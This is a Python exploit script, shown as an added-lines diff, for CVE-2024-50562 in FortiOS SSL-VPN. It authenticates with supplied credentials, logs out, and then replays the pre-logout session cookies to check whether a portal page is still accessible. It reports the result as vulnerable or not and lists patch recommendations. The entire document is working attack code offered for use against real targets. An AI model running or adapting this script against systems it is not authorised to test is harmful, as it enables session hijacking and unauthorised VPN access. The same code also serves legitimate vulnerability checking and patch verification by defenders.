1+ #!/usr/bin/env python3
2+ """
3+ # Exploit Title: FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse
4+ # Date: 2025-06-15
5+ # Exploit Author: Shahid Parvez Hakim (BugB Technologies)
6+ # Vendor Homepage: https://www.fortinet.com
7+ # Software Link: https://www.fortinet.com/products/secure-sd-wan/fortigate
8+ # Version: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (all), 6.4.x (all)
9+ # Tested on: FortiOS 7.4.x, 7.2.x
10+ # CVE: CVE-2024-50562
11+ # CVSS: 4.4 (Medium)
12+ # Category: Session Management
13+ # CWE: CWE-613 (Insufficient Session Expiration)
14+
15+ Description:
16+ An insufficient session expiration vulnerability in FortiOS SSL-VPN allows an attacker
17+ to reuse stale session cookies after logout, potentially leading to unauthorized access.
18+ The SVPNTMPCOOKIE remains valid even after the primary SVPNCOOKIE is invalidated during logout.
19+
20+ References:
21+ - https://fortiguard.com/psirt/FG-IR-24-339
22+ - https://nvd.nist.gov/vuln/detail/CVE-2024-50562
23+
24+ Usage:
25+ python3 fortinet_cve_2024_50562.py -t <target> -u <username> -p <password> [options]
26+
27+ Example:
28+ python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
29+ python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
30+ """
31+
32+ import argparse
33+ import requests
34+ import urllib3
35+ import re
36+ import sys
37+ from urllib .parse import urlparse
38+
39+ # Disable SSL warnings for testing
40+ urllib3 .disable_warnings (urllib3 .exceptions .InsecureRequestWarning )
41+
42+ class FortinetExploit :
43+ def __init__ (self , target , username , password , realm = "" , timeout = 10 , force = False ):
44+ self .target = target
45+ self .username = username
46+ self .password = password
47+ self .realm = realm
48+ self .timeout = timeout
49+ self .force = force
50+ self .base_url = f"https://{ target } "
51+ self .session = None
52+
53+ def banner (self ):
54+ """Display exploit banner"""
55+ print ("=" * 70 )
56+ print ("CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass" )
57+ print ("Author: Shahid Parvez Hakim (BugB Technologies)" )
58+ print ("CVSS: 4.4 (Medium) | FG-IR-24-339" )
59+ print ("=" * 70 )
60+ print (f"Target: { self .target } " )
61+ print (f"User: { self .username } " )
62+ print ("-" * 70 )
63+
64+ def validate_target (self ):
65+ """Check if target is reachable and is Fortinet SSL-VPN"""
66+ try :
67+ print ("[*] Validating target..." )
68+ response = requests .get (f"{ self .base_url } /remote/login" ,
69+ verify = False , timeout = self .timeout )
70+
71+ # More flexible detection for Fortinet SSL-VPN
72+ fortinet_indicators = [
73+ "fortinet" , "fortigate" , "forticlient" ,
74+ "sslvpn" , "/remote/login" , "SVPNCOOKIE" ,
75+ "logincheck" , "hostcheck_install" ,
76+ "fgt_lang" , "realm"
77+ ]
78+
79+ response_text = response .text .lower ()
80+ detected_indicators = [indicator for indicator in fortinet_indicators
81+ if indicator in response_text ]
82+
83+ if detected_indicators :
84+ print (f"[+] Target confirmed as Fortinet SSL-VPN (indicators: { ', ' .join (detected_indicators [:3 ])} )" )
85+ return True
86+ elif response .status_code == 200 :
87+ print ("[!] Target reachable but Fortinet detection uncertain - proceeding anyway" )
88+ return True
89+ else :
90+ print ("[-] Target does not appear to be Fortinet SSL-VPN" )
91+ return False
92+
93+ except requests .exceptions .RequestException as e :
94+ print (f"[-] Connection failed: { e } " )
95+ return False
96+
97+ def attempt_login (self ):
98+ """Attempt to authenticate with provided credentials"""
99+ try :
100+ print ("[*] Attempting authentication..." )
101+
102+ self .session = requests .Session ()
103+ self .session .verify = False
104+
105+ # Get login page first
106+ self .session .get (f"{ self .base_url } /remote/login?lang=en" , timeout = self .timeout )
107+
108+ # Attempt login
109+ login_data = {
110+ "ajax" : "1" ,
111+ "username" : self .username ,
112+ "realm" : self .realm ,
113+ "credential" : self .password
114+ }
115+
116+ headers = {"Content-Type" : "application/x-www-form-urlencoded" }
117+
118+ response = self .session .post (f"{ self .base_url } /remote/logincheck" ,
119+ data = login_data , headers = headers ,
120+ timeout = self .timeout )
121+
122+ # Check if login was successful
123+ if re .search (r"\bret=1\b" , response .text ) and "/remote/hostcheck_install" in response .text :
124+ print ("[+] Authentication successful!" )
125+
126+ # Extract and display cookies
127+ cookies = requests .utils .dict_from_cookiejar (response .cookies )
128+ self .display_cookies (cookies , "Login" )
129+
130+ return True , cookies
131+ else :
132+ print ("[-] Authentication failed!" )
133+ print (f"[!] Server response: { response .text [:100 ]} ..." )
134+ return False , {}
135+
136+ except requests .exceptions .RequestException as e :
137+ print (f"[-] Login request failed: { e } " )
138+ return False , {}
139+
140+ def perform_logout (self ):
141+ """Perform logout and check cookie invalidation"""
142+ try :
143+ print ("[*] Performing logout..." )
144+
145+ response = self .session .get (f"{ self .base_url } /remote/logout" , timeout = self .timeout )
146+ cookies_after_logout = requests .utils .dict_from_cookiejar (response .cookies )
147+
148+ print ("[+] Logout completed" )
149+ self .display_cookies (cookies_after_logout , "Logout" )
150+
151+ return cookies_after_logout
152+
153+ except requests .exceptions .RequestException as e :
154+ print (f"[-] Logout request failed: { e } " )
155+ return {}
156+
157+ def test_session_reuse (self , original_cookies ):
158+ """Test if old session cookies still work after logout"""
159+ try :
160+ print ("[*] Testing session cookie reuse..." )
161+
162+ # Create new session to simulate attacker
163+ exploit_session = requests .Session ()
164+ exploit_session .verify = False
165+
166+ # Use original login cookies
167+ exploit_session .cookies .update (original_cookies )
168+
169+ # Try to access protected resource
170+ test_url = f"{ self .base_url } /sslvpn/portal.html"
171+ response = exploit_session .get (test_url , timeout = self .timeout )
172+
173+ # Check if we're still authenticated
174+ if self .is_authenticated_response (response .text ):
175+ print ("[!] VULNERABILITY CONFIRMED!" )
176+ print ("[!] Session cookies remain valid after logout" )
177+ print ("[!] CVE-2024-50562 affects this system" )
178+ return True
179+ else :
180+ print ("[+] Session properly invalidated" )
181+ print ("[+] System appears to be patched" )
182+ return False
183+
184+ except requests .exceptions .RequestException as e :
185+ print (f"[-] Session reuse test failed: { e } " )
186+ return False
187+
188+ def is_authenticated_response (self , response_body ):
189+ """Check if response indicates authenticated access"""
190+ # If response contains login form elements, user is not authenticated
191+ if re .search (r"/remote/login|name=[\"']username[\"']" , response_body , re .I ):
192+ return False
193+ return True
194+
195+ def display_cookies (self , cookies , context ):
196+ """Display cookies in a formatted way"""
197+ if cookies :
198+ print (f"[*] Cookies after { context } :" )
199+ for name , value in cookies .items ():
200+ # Truncate long values for display
201+ display_value = value [:20 ] + "..." if len (value ) > 20 else value
202+ print (f" { name } = { display_value } " )
203+
204+ # Highlight important cookies for CVE
205+ if name == "SVPNTMPCOOKIE" :
206+ print (f" [!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562" )
207+ elif name == "SVPNCOOKIE" :
208+ print (f" [*] Found SVPNCOOKIE - Primary session cookie" )
209+ else :
210+ print (f"[*] No cookies set after { context } " )
211+
212+ def exploit (self ):
213+ """Main exploit routine"""
214+ self .banner ()
215+
216+ # Step 1: Validate target (unless forced to skip)
217+ if not self .force :
218+ if not self .validate_target ():
219+ print ("[!] Use --force to skip target validation and proceed anyway" )
220+ return False
221+ else :
222+ print ("[*] Skipping target validation (--force enabled)" )
223+
224+ # Step 2: Attempt login
225+ login_success , login_cookies = self .attempt_login ()
226+ if not login_success :
227+ return False
228+
229+ # Step 3: Perform logout
230+ logout_cookies = self .perform_logout ()
231+
232+ # Step 4: Test session reuse
233+ vulnerable = self .test_session_reuse (login_cookies )
234+
235+ # Step 5: Display results
236+ print ("\n " + "=" * 70 )
237+ print ("EXPLOIT RESULTS" )
238+ print ("=" * 70 )
239+
240+ if vulnerable :
241+ print ("STATUS: VULNERABLE" )
242+ print ("CVE-2024-50562: CONFIRMED" )
243+ print ("SEVERITY: Medium (CVSS 4.4)" )
244+ print ("\n RECOMMENDATIONS:" )
245+ print ("- Upgrade to patched FortiOS version" )
246+ print ("- FortiOS 7.6.x: Upgrade to 7.6.1+" )
247+ print ("- FortiOS 7.4.x: Upgrade to 7.4.8+" )
248+ print ("- FortiOS 7.2.x: Upgrade to 7.2.11+" )
249+ print ("- FortiOS 7.0.x/6.4.x: Migrate to supported version" )
250+ else :
251+ print ("STATUS: NOT VULNERABLE" )
252+ print ("CVE-2024-50562: NOT AFFECTED" )
253+ print ("\n System appears to be patched or not vulnerable" )
254+
255+ return vulnerable
256+
257+ def parse_target (target_string ):
258+ """Parse target string and extract host:port"""
259+ if ':' not in target_string :
260+ # Default HTTPS port if not specified
261+ return f"{ target_string } :443"
262+ return target_string
263+
264+ def main ():
265+ parser = argparse .ArgumentParser (
266+ description = "CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass Exploit" ,
267+ formatter_class = argparse .RawDescriptionHelpFormatter ,
268+ epilog = """
269+ Examples:
270+ python3 %(prog)s -t 192.168.1.10:443 -u admin -p password
271+ python3 %(prog)s -t 10.0.0.1:4433 -u testuser -p test123 --realm employees
272+ python3 %(prog)s -t vpn.company.com -u user@domain.com -p pass --timeout 15
273+ python3 %(prog)s -t 192.168.1.10:443 -u admin -p password --force
274+ """
275+ )
276+
277+ parser .add_argument ('-t' , '--target' , required = True ,
278+ help = 'Target IP:PORT (e.g., 192.168.1.10:443)' )
279+ parser .add_argument ('-u' , '--username' , required = True ,
280+ help = 'Username for authentication' )
281+ parser .add_argument ('-p' , '--password' , required = True ,
282+ help = 'Password for authentication' )
283+ parser .add_argument ('--realm' , default = '' ,
284+ help = 'Authentication realm (optional)' )
285+ parser .add_argument ('--timeout' , type = int , default = 10 ,
286+ help = 'Request timeout in seconds (default: 10)' )
287+ parser .add_argument ('--force' , action = 'store_true' ,
288+ help = 'Skip target validation and proceed anyway' )
289+
290+ args = parser .parse_args ()
291+
292+ # Parse and validate target
293+ target = parse_target (args .target )
294+
295+ try :
296+ # Initialize and run exploit
297+ exploit = FortinetExploit (target , args .username , args .password ,
298+ args .realm , args .timeout , args .force )
299+ vulnerable = exploit .exploit ()
300+
301+ # Exit with appropriate code
302+ sys .exit (0 if vulnerable else 1 )
303+
304+ except KeyboardInterrupt :
305+ print ("\n [!] Exploit interrupted by user" )
306+ sys .exit (1 )
307+ except Exception as e :
308+ print (f"[!] Unexpected error: { e } " )
309+ sys .exit (1 )
310+
311+ if __name__ == "__main__" :
312+ main ()
0 commit comments